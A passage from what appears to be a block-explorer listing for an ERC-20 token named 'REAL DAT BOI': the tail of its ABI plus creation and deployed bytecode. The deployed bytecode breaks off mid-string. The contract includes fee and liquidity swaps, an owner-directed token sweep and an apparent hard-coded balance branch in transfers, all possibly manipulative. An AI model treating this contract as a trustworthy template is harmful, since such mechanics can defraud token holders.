iew","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liqCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600780546001600160a01b03199081167367356966e49490409c8f0ff7d9c76fd74d5e77e91790915560088054909116739b57a8150699edf39e6904a192ea7dc52fb70d451790556200005a6009600a620006d2565b6200006990620f4240620006ea565b6009819055600a805461ffff1916610a001781556002600b819055600c55605a600d556000600e819055600f5560105560626011556001601255606490620000b3906005620006ea565b620000bf919062000704565b60135560135460145560646009546005620000db9190620006ea565b620000e7919062000704565b60158190556016556018805460ff60a81b1916600160a81b1790553480156200010f57600080fd5b50600854600080546001600160a01b0319166001600160a01b0390921691821781556040517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001736000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000215919062000727565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000263573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000289919062000727565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fd919062000727565b601880546001600160a01b03199081166001600160a01b039384161790915560178054909116918316919091179055600160046000620003456000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600360006200037f620005ae60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260038452828120805486166001908117909155600780548416835284832080548816831790557f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054881683179055601854841683526005958690528483208054881683179055549092168152918220805485168217905561dead82527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490941681179093556200046b6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526005909252812080549092166001908117909255600690620004c46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560069093527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054851660019081179091556007549091168352818320805485168217905530835291208054909216179055620005576000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200059f91815260200190565b60405180910390a35062000752565b6000546001600160a01b031690565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000614578160001904821115620005f857620005f8620005bd565b808516156200060657918102915b93841c9390800290620005d8565b509250929050565b6000826200062d57506001620006cc565b816200063c57506000620006cc565b8160018114620006555760028114620006605762000680565b6001915050620006cc565b60ff841115620006745762000674620005bd565b50506001821b620006cc565b5060208310610133831016604e8410600b8410161715620006a5575081810a620006cc565b620006b18383620005d3565b8060001904821115620006c857620006c8620005bd565b0290505b92915050565b6000620006e360ff8416836200061c565b9392505050565b8082028115828204841417620006cc57620006cc620005bd565b6000826200072257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200073a57600080fd5b81516001600160a01b0381168114620006e357600080fd5b611a5780620007626000396000f3fe6080604052600436106102085760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e914610615578063dd62ed3e14610635578063dd67291b1461067b578063f879d9df14610691578063fe4bf331146106c157600080fd5b8063a457c2d7146105a9578063a9059cbb146105c9578063b1cb1582146105e9578063c6618d60146105ff57600080fd5b80637c695eda116100e75780637c695eda146104fa5780637d1db4a514610527578063805c0e0f1461053d5780638da5cb5b1461055357806395d89b411461057157600080fd5b806370a082311461045e57806372a1c4fc14610494578063768dc710146104b457806378109e54146104e457600080fd5b806323b872dd1161019b5780633f70a4951161016a5780633f70a495146103db57806349bd5a5e146103f15780634a74bb0214610411578063603176251461043257806361c9a0dc1461044857600080fd5b806323b872dd14610369578063313ce5671461038957806339509351146103a55780633a9db6fe146103c557600080fd5b806318160ddd116101d757806318160ddd146102f3578063190a1d791461031257806321dbd9eb14610332578063220f66961461034857600080fd5b806306fdde0314610214578063095ea7b31461025b57806314ea619a1461028b5780631694505e146102bb57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5060408051808201909152600c81526b5245414c2044415420424f4960a01b60208201525b60405161025291906116f3565b60405180910390f35b34801561026757600080fd5b5061027b610276366004611759565b6106d8565b6040519015158152602001610252565b34801561029757600080fd5b5061027b6102a6366004611785565b60056020526000908152604090205460ff1681565b3480156102c757600080fd5b506017546102db906001600160a01b031681565b6040516001600160a01b039091168152602001610252565b3480156102ff57600080fd5b506009545b604051908152602001610252565b34801561031e57600080fd5b506008546102db906001600160a01b031681565b34801561033e57600080fd5b50610304600f5481565b34801561035457600080fd5b5060185461027b90600160a01b900460ff1681565b34801561037557600080fd5b5061027b6103843660046117a2565b6106ef565b34801561039557600080fd5b5060405160098152602001610252565b3480156103b157600080fd5b5061027b6103c0366004611759565b610758565b3480156103d157600080fd5b5061030460125481565b3480156103e757600080fd5b50610304600b5481565b3480156103fd57600080fd5b506018546102db906001600160a01b031681565b34801561041d57600080fd5b5060185461027b90600160a81b900460ff1681565b34801561043e57600080fd5b50610304600d5481565b34801561045457600080fd5b5061030460105481565b34801561046a57600080fd5b50610304610479366004611785565b6001600160a01b031660009081526001602052604090205490565b3480156104a057600080fd5b506007546102db906001600160a01b031681565b3480156104c057600080fd5b5061027b6104cf366004611785565b60036020526000908152604090205460ff1681565b3480156104f057600080fd5b5061030460135481565b34801561050657600080fd5b50610304610515366004611785565b60046020526000908152604090205481565b34801561053357600080fd5b5061030460155481565b34801561054957600080fd5b506102db61dead81565b34801561055f57600080fd5b506000546001600160a01b03166102db565b34801561057d57600080fd5b5060408051808201909152600f81526e38e0e038e0e0f8e0e238e0e738e0a9608a1b6020820152610245565b3480156105b557600080fd5b5061027b6105c4366004611759565b61078e565b3480156105d557600080fd5b5061027b6105e4366004611759565b6107dd565b3480156105f557600080fd5b50610304600c5481565b34801561060b57600080fd5b50610304600e5481565b34801561062157600080fd5b5061027b610630366004611759565b6107ea565b34801561064157600080fd5b506103046106503660046117e3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561068757600080fd5b5061030460115481565b34801561069d57600080fd5b5061027b6106ac366004611785565b60066020526000908152604090205460ff1681565b3480156106cd57600080fd5b506106d6610950565b005b60006106e533848461099a565b5060015b92915050565b60006106fc848484610a5b565b61074e8433610749856040518060600160405280602881526020016119d5602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dc2565b61099a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106e59185906107499086610dee565b60006106e53384610749856040518060600160405280602581526020016119fd602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dc2565b60006106e5338484610a5b565b6000306001600160a01b038416036108495760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610890573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b4919061181c565b9050600060646108c4858461184b565b6108ce9190611862565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af1158015610923573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109479190611884565b95945050505050565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b038316158015906109ba57506001600160a01b03821615155b6109fa5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610840565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610a9d57506001600160a01b03821660009081526006602052604090205460ff16155b15610af457601554811115610af45760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610840565b6001600160a01b03821660009081526005602052604090205460ff16610b7f576001600160a01b038216600090815260016020526040902054601354610b3a83836118a6565b1115610b7d5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610840565b505b6001600160a01b03831615801590610b9f57506001600160a01b03821615155b610be35760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610840565b60008111610c415760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610840565b600a5460ff61010082048116911610801590610c675750601854600160a01b900460ff16155b8015610c8157506018546001600160a01b03848116911614155b8015610c965750601854600160a81b900460ff165b15610ccf5730600090815260016020526040902054601554811115610cba57506015545b600a805460ff19169055610ccd81610e01565b505b6012546001600160a01b038316600090815260046020526040902054610cfb911515901515600161109d565b15610d165760128054906000610d10836118b9565b91905055505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610d5957506001600160a01b03841660009081526003602052604090205460ff165b15610d675760009150610dae565b6018546001600160a01b0390811690861603610d81575060015b600a805460ff16906000610d94836118d0565b91906101000a81548160ff021916908360ff160217905550505b610dbb85858585856110ba565b5050505050565b60008184841115610de65760405162461bcd60e51b815260040161084091906116f3565b505050900390565b6000610dfa82846118a6565b9392505050565b6018805460ff60a01b1916600160a01b179055600f54600090606490610e27908461184b565b610e319190611862565b905080600954610e4191906118ef565b60095561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e7c9082906118a6565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610eb99082906118ef565b30600090815260016020526040812091909155600d54606490610edc908561184b565b610ee69190611862565b905060006064600e5485610efa919061184b565b610f049190611862565b9050600060c860105486610f18919061184b565b610f229190611862565b905047610f4283610f3386856118a6565b610f3d91906118a6565b6114b3565b6000610f4e82476118ef565b90506000600e54600d54601054610f6591906118a6565b610f6f91906118a6565b600d54610f7d90606461184b565b610f879190611862565b905060006064610f97838561184b565b610fa19190611862565b90506000600e54600d54601054610fb891906118a6565b610fc291906118a6565b600e54610fd090606461184b565b610fda9190611862565b905060006064610fea838761184b565b610ff49190611862565b9050611014878261100586896118ef565b61100f91906118ef565b61160d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561878261104186896118ef565b61104b91906118ef565b604080519283526020830191909152810189905260600160405180910390a1600754479550611083906001600160a01b0316866116b8565b50506018805460ff60a01b19169055505050505050505050565b60008380156110a95750825b80156110b25750815b949350505050565b8161121b576001600160a01b0385166000908152600160205260409020546110e39084906118ef565b6001600160a01b03808716600081815260016020818152604080842096909655601254948a1680845260049091528583205493835294822054949091526111329392109181141590151561109d565b6111515760408051808201909152838152600060209091015282611172565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b03851660009081526001602052604090205461119591906118a6565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e99087815260200190565b60405180910390a361deac196001600160a01b03851601611216578260095461121291906118ef565b6009555b610dbb565b80156113515760006064600b5485611233919061184b565b61123d9190611862565b9050600061124b82866118ef565b6001600160a01b0388166000908152600160205260409020549091506112729086906118ef565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546112a29082906118a6565b6001600160a01b0387166000908152600160205260408082209290925530815220546112cf9083906118a6565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161134a578060095461134691906118ef565b6009555b5050610dbb565b6000606460405180604001604052806011546000188152602001600c548152506012546002811061138457611384611902565b6020020151611393908661184b565b61139d9190611862565b905060006113ab82866118ef565b6001600160a01b0388166000908152600160205260409020549091506113d29086906118ef565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114029082906118a6565b6001600160a01b03871660009081526001602052604080822092909255308152205461142f9083906118a6565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114aa57806009546114a691906118ef565b6009555b50505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114e8576114e8611902565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611541573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115659190611918565b8160018151811061157857611578611902565b6001600160a01b03928316602091820292909201015260175461159e913091168461099a565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d7908590600090869030904290600401611935565b600060405180830381600087803b1580156115f157600080fd5b505af1158015611605573d6000803e3d6000fd5b505050505050565b6017546116259030906001600160a01b03168461099a565b60175460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611693573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dbb91906119a6565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156116ee573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b8181101561172057858101830151858201604001528201611704565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461175657600080fd5b50565b6000806040838503121561176c57600080fd5b823561177781611741565b946020939093013593505050565b60006020828403121561179757600080fd5b8135610dfa81611741565b6000806000606084860312156117b757600080fd5b83356117c281611741565b925060208401356117d281611741565b929592945050506040919091013590565b600080604083850312156117f657600080fd5b823561180181611741565b9150602083013561181181611741565b809150509250929050565b60006020828403121561182e57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106e9576106e9611835565b60008261187f57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189657600080fd5b81518015158114610dfa57600080fd5b808201808211156106e9576106e9611835565b6000816118c8576118c8611835565b506000190190565b600060ff821660ff81036118e6576118e6611835565b60010192915050565b818103818111156106e9576106e9611835565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192a57600080fd5b8151610dfa81611741565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156119bb57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209e04a06cf7116fd1aa1228e91b6b264d9c160b9d0d151140bbc4d3dd700eba6d64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102085760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e914610615578063dd62ed3e14610635578063dd67291b1461067b578063f879d9df14610691578063fe4bf331146106c157600080fd5b8063a457c2d7146105a9578063a9059cbb146105c9578063b1cb1582146105e9578063c6618d60146105ff57600080fd5b80637c695eda116100e75780637c695eda146104fa5780637d1db4a514610527578063805c0e0f1461053d5780638da5cb5b1461055357806395d89b411461057157600080fd5b806370a082311461045e57806372a1c4fc14610494578063768dc710146104b457806378109e54146104e457600080fd5b806323b872dd1161019b5780633f70a4951161016a5780633f70a495146103db57806349bd5a5e146103f15780634a74bb0214610411578063603176251461043257806361c9a0dc1461044857600080fd5b806323b872dd14610369578063313ce5671461038957806339509351146103a55780633a9db6fe146103c557600080fd5b806318160ddd116101d757806318160ddd146102f3578063190a1d791461031257806321dbd9eb14610332578063220f66961461034857600080fd5b806306fdde0314610214578063095ea7b31461025b57806314ea619a1461028b5780631694505e146102bb57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5060408051808201909152600c81526b5245414c2044415420424f4960a01b60208201525b60405161025291906116f3565b60405180910390f35b34801561026757600080fd5b5061027b610276366004611759565b6106d8565b6040519015158152602001610252565b34801561029757600080fd5b5061027b6102a6366004611785565b60056020526000908152604090205460ff1681565b3480156102c757600080fd5b506017546102db906001600160a01b031681565b6040516001600160a01b039091168152602001610252565b3480156102ff57600080fd5b506009545b604051908152602001610252565b34801561031e57600080fd5b506008546102db906001600160a01b031681565b34801561033e57600080fd5b50610304600f5481565b34801561035457600080fd5b5060185461027b90600160a01b900460ff1681565b34801561037557600080fd5b5061027b6103843660046117a2565b6106ef565b34801561039557600080fd5b5060405160098152602001610252565b3480156103b157600080fd5b5061027b6103c0366004611759565b610758565b3480156103d157600080fd5b5061030460125481565b3480156103e757600080fd5b50610304600b5481565b3480156103fd57600080fd5b506018546102db906001600160a01b031681565b34801561041d57600080fd5b5060185461027b90600160a81b900460ff1681565b34801561043e57600080fd5b50610304600d5481565b34801561045457600080fd5b5061030460105481565b34801561046a57600080fd5b50610304610479366004611785565b6001600160a01b031660009081526001602052604090205490565b3480156104a057600080fd5b506007546102db906001600160a01b031681565b3480156104c057600080fd5b5061027b6104cf366004611785565b60036020526000908152604090205460ff1681565b3480156104f057600080fd5b5061030460135481565b34801561050657600080fd5b50610304610515366004611785565b60046020526000908152604090205481565b34801561053357600080fd5b5061030460155481565b34801561054957600080fd5b506102db61dead81565b34801561055f57600080fd5b506000546001600160a01b03166102db565b34801561057d57600080fd5b5060408051808201909152600f81526e38e0e038e0e0f8e0e238e0e738e0a9608a1b6020820152610245565b3480156105b557600080fd5b5061027b6105c4366004611759565b61078e565b3480156105d557600080fd5b5061027b6105e4366004611759565b6107dd565b3480156105f557600080fd5b50610304600c5481565b34801561060b57600080fd5b50610304600e5481565b34801561062157600080fd5b5061027b610630366004611759565b6107ea565b34801561064157600080fd5b506103046106503660046117e3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561068757600080fd5b5061030460115481565b34801561069d57600080fd5b5061027b6106ac366004611785565b60066020526000908152604090205460ff1681565b3480156106cd57600080fd5b506106d6610950565b005b60006106e533848461099a565b5060015b92915050565b60006106fc848484610a5b565b61074e8433610749856040518060600160405280602881526020016119d5602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dc2565b61099a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106e59185906107499086610dee565b60006106e53384610749856040518060600160405280602581526020016119fd602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dc2565b60006106e5338484610a5b565b6000306001600160a01b038416036108495760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610890573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b4919061181c565b9050600060646108c4858461184b565b6108ce9190611862565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af1158015610923573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109479190611884565b95945050505050565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b038316158015906109ba57506001600160a01b03821615155b6109fa5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610840565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610a9d57506001600160a01b03821660009081526006602052604090205460ff16155b15610af457601554811115610af45760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610840565b6001600160a01b03821660009081526005602052604090205460ff16610b7f576001600160a01b038216600090815260016020526040902054601354610b3a83836118a6565b1115610b7d5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610840565b505b6001600160a01b03831615801590610b9f57506001600160a01b03821615155b610be35760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610840565b60008111610c415760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610840565b600a5460ff61010082048116911610801590610c675750601854600160a01b900460ff16155b8015610c8157506018546001600160a01b03848116911614155b8015610c965750601854600160a81b900460ff165b15610ccf5730600090815260016020526040902054601554811115610cba57506015545b600a805460ff19169055610ccd81610e01565b505b6012546001600160a01b038316600090815260046020526040902054610cfb911515901515600161109d565b15610d165760128054906000610d10836118b9565b91905055505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610d5957506001600160a01b03841660009081526003602052604090205460ff165b15610d675760009150610dae565b6018546001600160a01b0390811690861603610d81575060015b600a805460ff16906000610d94836118d0565b91906101000a81548160ff021916908360ff160217905550505b610dbb85858585856110ba565b5050505050565b60008184841115610de65760405162461bcd60e51b815260040161084091906116f3565b505050900390565b6000610dfa82846118a6565b9392505050565b6018805460ff60a01b1916600160a01b179055600f54600090606490610e27908461184b565b610e319190611862565b905080600954610e4191906118ef565b60095561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e7c9082906118a6565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610eb99082906118ef565b30600090815260016020526040812091909155600d54606490610edc908561184b565b610ee69190611862565b905060006064600e5485610efa919061184b565b610f049190611862565b9050600060c860105486610f18919061184b565b610f229190611862565b905047610f4283610f3386856118a6565b610f3d91906118a6565b6114b3565b6000610f4e82476118ef565b90506000600e54600d54601054610f6591906118a6565b610f6f91906118a6565b600d54610f7d90606461184b565b610f879190611862565b905060006064610f97838561184b565b610fa19190611862565b90506000600e54600d54601054610fb891906118a6565b610fc291906118a6565b600e54610fd090606461184b565b610fda9190611862565b905060006064610fea838761184b565b610ff49190611862565b9050611014878261100586896118ef565b61100f91906118ef565b61160d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561878261104186896118ef565b61104b91906118ef565b604080519283526020830191909152810189905260600160405180910390a1600754479550611083906001600160a01b0316866116b8565b50506018805460ff60a01b19169055505050505050505050565b60008380156110a95750825b80156110b25750815b949350505050565b8161121b576001600160a01b0385166000908152600160205260409020546110e39084906118ef565b6001600160a01b03808716600081815260016020818152604080842096909655601254948a1680845260049091528583205493835294822054949091526111329392109181141590151561109d565b6111515760408051808201909152838152600060209091015282611172565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b03851660009081526001602052604090205461119591906118a6565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e99087815260200190565b60405180910390a361deac196001600160a01b03851601611216578260095461121291906118ef565b6009555b610dbb565b80156113515760006064600b5485611233919061184b565b61123d9190611862565b9050600061124b82866118ef565b6001600160a01b0388166000908152600160205260409020549091506112729086906118ef565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546112a29082906118a6565b6001600160a01b0387166000908152600160205260408082209290925530815220546112cf9083906118a6565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161134a578060095461134691906118ef565b6009555b5050610dbb565b6000606460405180604001604052806011546000188152602001600c548152506012546002811061138457611384611902565b6020020151611393908661184b565b61139d9190611862565b905060006113ab82866118ef565b6001600160a01b0388166000908152600160205260409020549091506113d29086906118ef565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114029082906118a6565b6001600160a01b03871660009081526001602052604080822092909255308152205461142f9083906118a6565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114aa57806009546114a691906118ef565b6009555b50505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114e8576114e8611902565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611541573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115659190611918565b8160018151811061157857611578611902565b6001600160a01b03928316602091820292909201015260175461159e913091168461099a565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d7908590600090869030904290600401611935565b600060405180830381600087803b1580156115f157600080fd5b505af1158015611605573d6000803e3d6000fd5b505050505050565b6017546116259030906001600160a01b03168461099a565b60175460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611693573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dbb91906119a6565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156116ee573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b8181101561172057858101830151858201604001528201611704565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461175657600080fd5b50565b6000806040838503121561176c57600080fd5b823561177781611741565b946020939093013593505050565b60006020828403121561179757600080fd5b8135610dfa81611741565b6000806000606084860312156117b757600080fd5b83356117c281611741565b925060208401356117d281611741565b929592945050506040919091013590565b600080604083850312156117f657600080fd5b823561180181611741565b9150602083013561181181611741565b809150509250929050565b60006020828403121561182e57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106e9576106e9611835565b60008261187f57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189657600080fd5b81518015158114610dfa57600080fd5b808201808211156106e9576106e9611835565b6000816118c8576118c8611835565b506000190190565b600060ff821660ff81036118e6576118e6611835565b60010192915050565b818103818111156106e9576106e9611835565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192a57600080fd5b8151610dfa81611741565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156119bb57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e